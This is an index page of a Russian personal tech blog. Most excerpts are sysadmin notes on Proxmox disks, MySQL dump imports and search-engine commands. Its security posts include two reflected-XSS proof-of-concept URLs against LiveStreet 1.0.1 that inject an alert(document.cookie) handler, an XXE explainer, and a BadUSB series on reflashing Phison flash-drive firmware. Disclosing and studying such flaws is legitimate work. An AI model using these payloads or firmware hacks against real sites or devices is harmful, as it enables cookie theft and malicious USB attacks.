HiMiC, Бабичев Игорь

mysqldump domain_statistic

Разное

Пробуем выгрузить базу размером в 70 Gb с удаленного сервера

domain_statistic

Proxmox добавить места на диске

Разное

примеры:

e2fsck -fy /dev/pve-store/vm-105-disk-2
resize2fs /dev/pve-store/vm-105-disk-2 2G
lvreduce -L 3G /dev/pve-store/vm-105-disk-2
resize2fs /dev/pve-store/vm-105-disk-2

Добавить места на диске (lvm-thin в данном случае)

lvresize --size +30G --resizefs /dev/mapper/pvessd250-vm--120--disk--0

Уменьшить диск если много добавили

lvresize --size -30G --resizefs /dev/mapper/pvessd250-vm--120--disk--0

Проверить размер

fdisk -l /dev/mapper/pvessd250-vm--120--disk--0

Поправить конфиг /etc/pve/lxc/120.conf на корректный размер диска

rootfs: pvessd250:vm-120-disk-0,size=190G

Proxmox, resize2fs

Proxmox примонтировать директорию внутрь контейнера

Разное

Переходим в директорию:
/etc/pve/nodes/pve/lxc/
Правим нужную виртуальную машину 110.conf

и добавляем строчку

для mongodb
выбираем самый большой диск 16TB или обьединенные в LVM и подключаем

lxc.mount.entry: /mnt/disk16/mnt/mongodb var/lib/mongodb none bind,create=dir,optional 0 0

путь внутри контейнера надо указывать без первого слеша var/lib/mongodb а не /var/lib/mongodb

Proxmox

Proxmox LVM-thin

Разное

Понадобилось сделать VM на SSD для для сервера баз данных. Для быстрой работы.

Удостоверяемся в выбранном диске

root@pve:~# smartctl -a /dev/sdd

=== START OF INFORMATION SECTION ===
Model Family:     Samsung based SSDs
Device Model:     Samsung SSD 850 EVO 250GB

Создаем физический том (physical volume)


root@pve:~# pvcreate /dev/sdd
  Physical volume "/dev/sdd" successfully created.

создаём группу томов pvessd250

root@pve:~# vgcreate pvessd250 /dev/sdd
  Volume group "pvessd250" successfully created

lvm-thin, Proxmox

Как импортировать большую базу данных MySQL

Разное

Вот описание
http://kedar.nitty-witty.com/blog/mydumpsplitter-extract-tables-from-mysql-dump-shell-script

GitHub

git clone https://github.com/kedarvj/mysqldumpsplitter .
chmod +x mysqldumpsplitter.sh

./mysqldumpsplitter.sh --source domain_statistic.sql --extract ALLTABLES --decompression none  --compression none

и видим в папке out базу разделенную по таблицам. Она очень хорошо импортируется по частям

Загружаем медленно в базу, можно и удаленную.

mysql -h host -u root -p domain_statistic < a_count_statistic.sql
mysql -h host -u root -p domain_statistic < all_stat.sql
mysql -h host -u root -p domain_statistic < as_count_statistic.sql
mysql -h host -u root -p domain_statistic < as_list.sql
mysql -h host -u root -p domain_statistic < cname_count_statistic.sql
mysql -h host -u root -p domain_statistic < domain_count_statistic.sql
mysql -h host -u root -p domain_statistic < domain_history.sql
mysql -h host -u root -p domain_statistic < domain.sql
mysql -h host -u root -p domain_statistic < mx_count_statistic.sql
mysql -h host -u root -p domain_statistic < ns_count_statistic.sql
mysql -h host -u root -p domain_statistic < providers_like_statistic.sql
mysql -h host -u root -p domain_statistic < registrant_count_statistic.sql
mysql -h host -u root -p domain_statistic < regru_providers.sql
mysql -h host -u root -p domain_statistic < regru_stat_data.sql

MySQL, mysql big file, big file split, MySql dump

Установка Realplexor C++ на Debian 9

Разное

Пришлось ставить Realplexor на C++ т.к. dklab_realplexor.pl запускался но работал с ошибкой

ERROR: Wide character in send at /usr/lib/x86_64-linux-gnu/perl/5.24/IO/Socket.pm line 270.
или
 ERROR: Wide character in send at /usr/lib/x86_64-linux-gnu/perl/5.24/IO/Socket.pm line 284.

Устанавливаем недостающие пакеты

# apt-get install gcc g++ libev4 libev-dev libmemcached-dev
# gcc --version

на свежем debian получаем gcc (Debian 6.3.0-18) 6.3.0 20170516

Realplexor

Proxmox 4.4 обновление до 5.0

Новые какието обновления и т.п. и вышел из беты. Стоит попробовать.
Гдето читал что 5 версия может не открывать старые версии контейнеров и виртуалок. может исправили. посмотрим.

Proxmox 4.4

Незнаю почему но сервер не хотел обновляться и выдавал ошибку DNS и пришлось прописать их руками.
Возможно по причине той сети где стоял сервер.


/etc/hosts
195.20.242.89 security.debian.org
212.224.123.70 download.proxmox.com
5.153.231.4 deb.debian.org
151.101.36.204 cdn-fastly.deb.debian.org
163.172.29.20 keys.gnupg.net
212.224.123.70 enterprise.proxmox.com

Proxmox

Блогу 7 лет

Разное

Первая запись от 2010-07-08 13:01:19
прошло 7 лет

еще из статистики:

11 лет зарегистрирован домен himic.ru

#whois himic.ru |grep created
created:       2006-06-13T20:00:00Z

Webmoney

Персональный аттестат — выдан Центром Аттестации 26 Июля 2007 года скоро 10 лет
после первой регистрации прошло 11 лет

Мне 30 лет.

Вроде что-то добился, а вроде нет.
Если сомневаешься — значит «нет».
А может сомневаешься то «да»?

blog

Архив доменов зоны .RU

Разное

wget http://pma.amanikin.ru/domain_statistic.sql.tar.zip

архив почемуто на самом деле tar.gz а не zip. В WinRAR под виндой открывается нормально, в линуксе надо переименовывать

mv domain_statistic.sql.tar.zip domain_statistic.sql.tar.gz

tar -xvzf domain_statistic.sql.tar.gz

из 2 гиг получилось 16 гиг

скорость в виртуалке: чтения от 10 до 15 /сек
запись от 40 до 120 иногда
iotop

появилась ошибка

Otar: domain_statistic.sql: Wrote only 512 of 10240 bytes
tar: Exiting with failure status due to previous errors

оказалось в виртуалке кончилось место 15 гиг.

PS
создаем базу

create database domain_statistic;

создаем пользователя

CREATE USER 'user_u'@'%' IDENTIFIED BY 'user_pass';

добавляем пользователю права

GRANT ALL PRIVILEGES ON domain_statistic.* TO user@'%' IDENTIFIED BY 'user_pass'; 
FLUSH PRIVILEGES;

Просто залить в базу не удалось
поэтому продолжение тут blog.himic.ru/2017/10/14/kak-importirovat-bolshuyu-bazu-dannyh-mysql.html

Спасибо этим людям
habrahabr.ru/post/301894/

domain, statistic

Альтруист

Разное

ncix 21 сентября 2012 в 11:46 #

Те самые «гениальные» тихо отрефакторят всё за ночь без вашего ведома на свой страх и риск, а на утро будут счастливые, как младенцы, спать перед монитором

everzet 21 сентября 2012 в 16:29 #

Говорю вам как программист повидавший виды в разных компаниях мира. Альтруизм — дело неблагодарное, неприбыльное, изматывающее и, наконец, несуществующее. Сегодня он «без вашего ведома на свой страх и риск» «отрефакторил все за ночь», а завтра пойдет искать другую контору, потому что на этой его не ценят и в нем не нуждаются.

ncix 21 сентября 2012 в 16:39 #

Совершенно верно, так и будет.

VolCh 21 сентября 2012 в 18:31 #

Но код останется отрефакторенным :) Но вообще говоря такой альтруист может очень долго менять компании. В вакансиях очень редко встречаешь рефакторинг в перечне основных обязанностей разработчика, что означает, что менджмент не считает его важным элементом процессов разработки и/или поддержки и с большой вероятностью рабочее время на это выделяться не будет. Увы :(

Flammar 21 сентября 2012 в 18:37 #

Думали, альтруист, а чувак скиллы прокачивал…

Debian, Jessie

DataparkSearch Engine Команды управления

Если http-сервер поддерживает любой из методов кодирования gzip, deflate, identity, compress он шлёт ответ, закодированый этим методом.
Использование сжатия http-запросов позволяет уменьшить трафик в два и более раз.
./configure --with-zlib

Запустите indexer для индексирвоания ваших данных и записи информации об URL:
/usr/local/dpsearch/sbin/indexer -W

переиндекировать все документы, независимо от того, устарели они или нет, используйте ключ -a
/usr/local/dpsearch/sbin/indexer -a

Это может быть полезным, например, когда меняются правила Allow/Disallow в indexer.conf и необходимо добавить новые страницы, которые раньше были запрещены к обработке.
Ключ indexerа -m заставляет разбирать заново каждый документ, независимо от того, измён он или нет.
/usr/local/dpsearch/sbin/indexer -m

Управление подсекциями
-t соответсвует ограничению по тэгу
-g соответсвует ограничению по категории
-u — ограничение по части URL (поддерживаются шаблоны SQL LIKE с символами % и _)
-s — ограничение по HTTP статусу документа
-y — ограничения по Content-Type

Как очистить базу данных
/usr/local/dpsearch/sbin/indexer -C — Вы можете также удалить тольеко часть базы, используя ключи указания подсекций -t,-g,-u,-s,-y.

Пример:
в Disallow используется * звездочка
тут используется % процент
удаление по URL

./indexer -C -u http://site.ru/tag.html%
./indexer -C -u  http://site.ru/search/tag/%

удаление по коду ./indexer -S


./indexer -C -s 301
./indexer -C -s 302
./indexer -C -s 303
./indexer -C -s 404
./indexer -C -s 415
./indexer -C -s 2200

Создание SQL-таблиц
/usr/local/dpsearch/sbin/indexer -Ecreate

Удаление SQL-таблиц
/usr/local/dpsearch/sbin/indexer -Edrop

Статистика базы данных

/usr/local/dpsearch/sbin/indexer -S

Проверка ссылок
Например, indexer -I -s 404 покажет адреса всех ненайденных ('Not found') документов вместе с адресами страницами, содержащими ссылки на эти документы.
/usr/local/dpsearch/sbin/indexer -I

DataparkSearch

Уязвимость BadUSB для Phison 2251-03 (часть 4)

Убив первую флешку, через пару дней пошел покупать другую для выкачивания на неё оригинальной прошивки и восстановления первой флешки. Но к сожалению те 9 штук в этом магазине уже разобрали. Наверное продавцы поняв какой контроллер нужен и зачем, сами раскупили все и перепродали. Или какие другие неведомые люди охотились за ними.

И так я купил полную копию флешки поступившей в продажу того же числа и почти той партии. Но контроллер оказался Phison PS2307, что нам совсем не подходит. Придется использовать её для других целей, жаль объём маленький.
Оставались еще 16GB флешки но рисковать небыло никакого желания, чтоб ошибиться с контроллером.

Продолжение:
BadUSB для Phison 2251-03 (часть 1)
BadUSB для Phison 2251-03 Payload (часть 2)
BadUSB для Phison 2251-03 ошибки (часть 3)
BadUSB для Phison 2251-03 восстановление (часть 4)

badusb, уязвимость badusb, badusb vulnerability, badusb инструкция, badusb код, badusb как использовать, badusb как сделать

Уязвимость BadUSB для Phison 2251-03 (часть 3)

Ошибка при создании оригинальной прошивки

Кажется это произошло из-за того что флешка долго находилась в boot-режиме и где-то отсоединилась что ли.

C:\Users\1>C:\fw\Psychson-master\tools\DriveCom.exe /drive=H /action=DumpFirmware /burner=C:\fw\fw_bn\BN03V114M.BIN /firmware=C:\fw\currentfw.bin
Action specified: DumpFirmware
FATAL: System.InvalidOperationException: DeviceIoControl failed: 0079
   в DriveCom.PhisonDevice._SendCommand(SafeFileHandle handle, Byte[] cmd, Byte[] data, Int32 bytesExpected) в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\Phis
   в DriveCom.PhisonDevice.SendCommand(Byte[] cmd, Int32 bytesExpected) в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\PhisonDevice.cs:строка 295
   в DriveCom.Startup._DumpFirmware(String fileName) в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\Startup.cs:строка 341
   в DriveCom.Startup.Main(String[] args) в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\Startup.cs:строка 99

Action specified: SendExecutable
FATAL: System.InvalidOperationException: DeviceIoControl failed: 048F

Ошибка при восстановлении оригинальной прошивки

Переводим флешку в boot-режим.
Прошивка не хочет востанавливаться из оригинала.
Как понял это не подходит для
Kingston Digital 8GB USB 3.0 DataTraveler (DT100G3/8GB)* — Using PS2251-03 (Программа DriveCom.exe не работает для этой флэшки, вам понадобится Phison MPALL Tools для прошивки.)

Action specified: SendFirmware
Gathering information...
FATAL: System.InvalidOperationException: DeviceIoControl failed: 048F
   в DriveCom.PhisonDevice._SendCommand(SafeFileHandle handle, Byte[] cmd, Byte[] data, Int32 bytesExpected) в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\Phis
   в DriveCom.PhisonDevice.SendCommand(Byte[] cmd, Int32 bytesExpected) в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\PhisonDevice.cs:строка 295
   в DriveCom.PhisonDevice.RequestVendorInfo() в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\PhisonDevice.cs:строка 140
   в DriveCom.PhisonDevice.GetChipType() в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\PhisonDevice.cs:строка 170
   в DriveCom.Startup._GetInfo() в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\Startup.cs:строка 384
   в DriveCom.Startup._SendFirmware() в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\Startup.cs:строка 365
   в DriveCom.Startup.Main(String[] args) в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\Startup.cs:строка 114

badusb, уязвимость badusb, badusb vulnerability, badusb инструкция, badusb код, badusb как использовать, badusb как сделать

Уязвимость BadUSB для Phison 2251-03 (часть 2)

4. Запуск демо 1 (HID Payload)

Сценарии команд Rubber Ducky для использования в Duckencoder и создания inject.bin

Скачиваем любой скрипт или пишем свой github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads
Сохраняем в C:\fw\ducky\hello_world.txt или ваше название на ваш вкус.

badusb, уязвимость badusb, badusb vulnerability, badusb инструкция, badusb код, badusb как использовать, badusb как сделать

Уязвимость BadUSB для Phison 2251-03 (часть 1)

Безопасность

Узнал об этом еще с английской рассылки SANS Vol. 16 Num. 79.
Собирался первым перевести на русский язык(на github и так написаны команды ) и разобраться с этим еще 4 октября, но дела не позволяли потратить на это время и денег на поиски конкретной флешки не было.
В итоге найдя единственный магазин в городе где были эти флешки Kingston DataTraveler 3.0 T111 8GB зайдя в него и уговаривая продавцов вскрыть упаковку не получилось. Пришлось купить наугад. И мы угадали и купили нужную проверив на ноутбуке в магазине. Контроллер оказался PS2251-03 (2303). У нас была куча неописуемой радости и везения!!! В магазине оставалось всего 9 флешек данной модели…

badusb, уязвимость badusb, badusb vulnerability, badusb инструкция, badusb код, badusb как использовать, badusb как сделать

ZeroNights 2014

Безопасность

Так уж вышло, что конференция выпала на моё День Рождения. И наверно это был самый большой подарок.

Вот наконец то выехал куда то со своего города. Купил билеты еще так давно как можно было. И на поезд заранее купил чтоб отступать было некуда. Пришлось сдвигать все планы, клиентов, всех торопить и собирать к этому числу денег. Но даже при таком учете я вернулся на занятые денег у клиентов. ))) Пришлось отрабатывать. Да и не просто так поехал в Москву, а по делам, почта России потеряла 2 договора, за 3 месяца не дождавшись их привез лично в руки. Но что то клиент где то пропал.

Все было круто, хостел новый взял, народ был тоже интересный. Встречал иностранцев, писателей. Опять понял что надо знать английский, хотя мне и без него хорошо живется. Опять по влюблялся пару раз и забыл уже в кого.

ZeroNights, ZeroNights 2014, zeronights.ru

История одной пятницы... в картинках

Всё началось с того, что захотелось найти XXE (XML eXternal Entity).
Атака заключается в том, что парсер небезопасно разрешает XML-сущности(entity) определённые клиентом. Данную уязвимость можно использовать как для XSS, чтения базы данных(SQL-inject), обхода аутентификации, чтения произвольных фаилов в системе(/etc/passwwd) или запрос внешнего ресурса по URI (протоколы ftp http https, функциями php и другими).

Пояснение:
символ (плюс) + в urlencode = %2B
символ (слеш) / в urlencode = %2F
символ (обратный слеш) \ в urlencode = %5C

Глаза пали на RSS. Открываем то, что генерирует XML:

xss, xxe, уязвимости, livestreet

LiveStreet 1.0.1 XSS

Безопасность

http://SITE.ru/personal_blog/top"%20onmouseover%3dalert(document.cookie)%20y%3d

http://SITE.ru/personal_blog/discussed"%20onmouseover%3dalert(document.cookie)%20y%3d

livesreet, xss, баг

Поездка на ZeroNights 2012

Хотелось бы ответить сразу на вопросы какие мне очень часто задают:
Стоило ли ехать через пол страны в Москву чтобы побывать и просто послушать?
— Да стоило! И 7000 за вход на конференцию того стоило.
— Если бы она была в Питере, то поехал?
— Да! Все зовут побывать в Питере, да и как понял многие докладчики работают тоже в Питере.
— Ты ездил работу искать?
— Нет, просто пообщаться с людьми которые тебя понимают и знают гораздо больше.
— Что тебя дёрнуло туда ехать?
— Наверно, то что почти недотянул в 2011 году в победители на Месяц поиска уязвимостей Яндекса

Постораюсь о конференции расказать в кратце, больше уделять внимание на совсем другие вещи.

ZeroNights, ZeroNights 2012, Конференция, Конференция ZeroNights, ZeroNights 2012 фото, ZeroNights 2012 видео, ZeroNights 2012 video

← предыдущая
следующая →

HiMiC

Сканирование стран

mysqldump domain_statistic

Proxmox добавить места на диске

Proxmox примонтировать директорию внутрь контейнера

Proxmox LVM-thin

Как импортировать большую базу данных MySQL

Установка Realplexor C++ на Debian 9

Proxmox 4.4 обновление до 5.0

Блогу 7 лет

Архив доменов зоны .RU

Альтруист

DataparkSearch Engine Команды управления

Уязвимость BadUSB для Phison 2251-03 (часть 4)

Уязвимость BadUSB для Phison 2251-03 (часть 3)

Ошибка при создании оригинальной прошивки

Ошибка при восстановлении оригинальной прошивки

Уязвимость BadUSB для Phison 2251-03 (часть 2)

4. Запуск демо 1 (HID Payload)

Уязвимость BadUSB для Phison 2251-03 (часть 1)

ZeroNights 2014

История одной пятницы... в картинках

LiveStreet 1.0.1 XSS

Поездка на ZeroNights 2012

Разное

Ruby

Perl

Безопасность

Python

Яндекс.Директ

Golang